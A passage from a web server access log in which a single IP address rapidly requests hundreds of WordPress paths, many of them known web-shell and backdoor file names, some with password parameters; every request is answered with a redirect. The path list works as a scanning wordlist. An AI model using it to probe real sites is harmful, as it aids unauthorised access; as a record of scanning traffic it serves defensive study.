-0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:17 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:18 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:18 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:19 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:19 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:20 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:21 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:21 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:22 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:22 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:23 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:24 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:24 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:25 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:25 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:26 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:26 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:27 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:28 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:28 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:29 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:29 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:30 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:30 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:31 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:32 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:32 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:33 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:33 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:34 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:34 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:35 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:35 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:36 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:37 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:37 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:38 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:38 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:39 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:40 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:41 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:41 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:42 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:43 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:43 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:44 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:45 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:45 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:46 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:46 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:47 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:48 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:48 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:49 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:49 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:50 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:51 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:51 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:52 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:52 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:53 -0400] "GET /wp-content/mu-plugins-old/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:54 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:54 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:55 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:55 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:56 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:56 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:57 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:58 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:58 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:59 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:20:59 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:00 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:00 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:01 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:01 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:02 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:02 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:03 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:04 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:04 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:05 -0400] "GET /wp-content/plugins/b.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:06 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:07 -0400] "GET /wp-content/plugins/classic-editor//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:07 -0400] "GET /wp-content/plugins/classic-editor//classic-editor.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:08 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:08 -0400] "GET /wp-content/plugins/core-plugin/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:09 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:09 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:10 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:11 -0400] "GET /wp-content/plugins/elementor//elementor-object.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:11 -0400] "GET /wp-content/plugins/elementor//wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:12 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:12 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:13 -0400] "GET /wp-content/plugins/elementor/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:13 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:14 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:14 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:15 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:16 -0400] "GET /wp-content/plugins/goods.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:16 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:17 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:17 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:18 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:18 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:19 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:19 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:20 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:21 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:21 -0400] "GET /wp-content/plugins/one-click-demo-import//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:22 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:22 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:23 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:24 -0400] "GET /wp-content/plugins/pwnd/pwnd.php/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:25 -0400] "GET /wp-content/plugins/pwnd/z4x.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:25 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:26 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:27 -0400] "GET /wp-content/plugins/seo-by-rank-math//wp-casper.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:27 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:28 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:29 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:30 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:30 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:31 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:31 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:32 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:32 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:33 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:34 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:34 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:35 -0400] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:35 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:36 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:36 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:37 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:37 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:38 -0400] "GET /wp-content/plugins/wp-sec/ab.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:38 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:39 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:40 -0400] "GET /wp-content/plugins/x/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:40 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:41 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:41 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:42 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:42 -0400] "GET /wp-content/themes//inpust.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:43 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:43 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:44 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:45 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:45 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:46 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:47 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:47 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:48 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:48 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:49 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:50 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:50 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:51 -0400] "GET /wp-content/themes/classic/inc/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:52 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:52 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:53 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:53 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:54 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:54 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:55 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:55 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:56 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:57 -0400] "GET /wp-content/themes/index.php?pass=1313 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:57 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:58 -0400] "GET /wp-content/themes/newstoday/lang.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:58 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:21:59 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:00 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:00 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:01 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:01 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:02 -0400] "GET /wp-content/themes/seotheme/mar.php?d=2f6e61732f636f6e74656e742f6c6976652f72616368656c73626c6f672f77702d636f6e74656e742f7468656d65732f73656f7468656d65&1 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:02 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:03 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:03 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:04 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:05 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:05 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:06 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:06 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:07 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:07 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:08 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:08 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:09 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:10 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:10 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:11 -0400] "GET /wp-content/themes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:11 -0400] "GET /wp-content/themes/zrt.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:12 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:12 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:13 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:13 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:14 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:15 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:15 -0400] "GET /wp-content/upgrade/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:16 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:16 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:17 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:17 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:18 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:18 -0400] "GET /wp-content/uploads//good.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:19 -0400] "GET /wp-content/uploads//load-scripts-page.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:20 -0400] "GET /wp-content/uploads//ms-sites-modify.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:20 -0400] "GET /wp-content/uploads//network-settings.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:21 -0400] "GET /wp-content/uploads//wp-backup.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:22:21 -0400] "GET 